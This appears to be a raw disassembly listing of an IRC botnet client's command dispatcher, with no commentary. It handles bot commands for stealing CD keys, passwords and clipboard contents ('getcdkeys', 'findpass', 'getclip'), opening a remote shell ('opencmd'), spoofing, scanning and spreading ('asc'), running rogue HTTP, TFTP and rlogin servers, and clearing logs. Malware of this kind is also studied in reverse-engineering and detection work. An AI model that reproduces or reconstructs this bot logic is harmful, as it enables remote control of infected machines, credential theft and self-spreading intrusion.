		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2690CE2h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42BDA8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
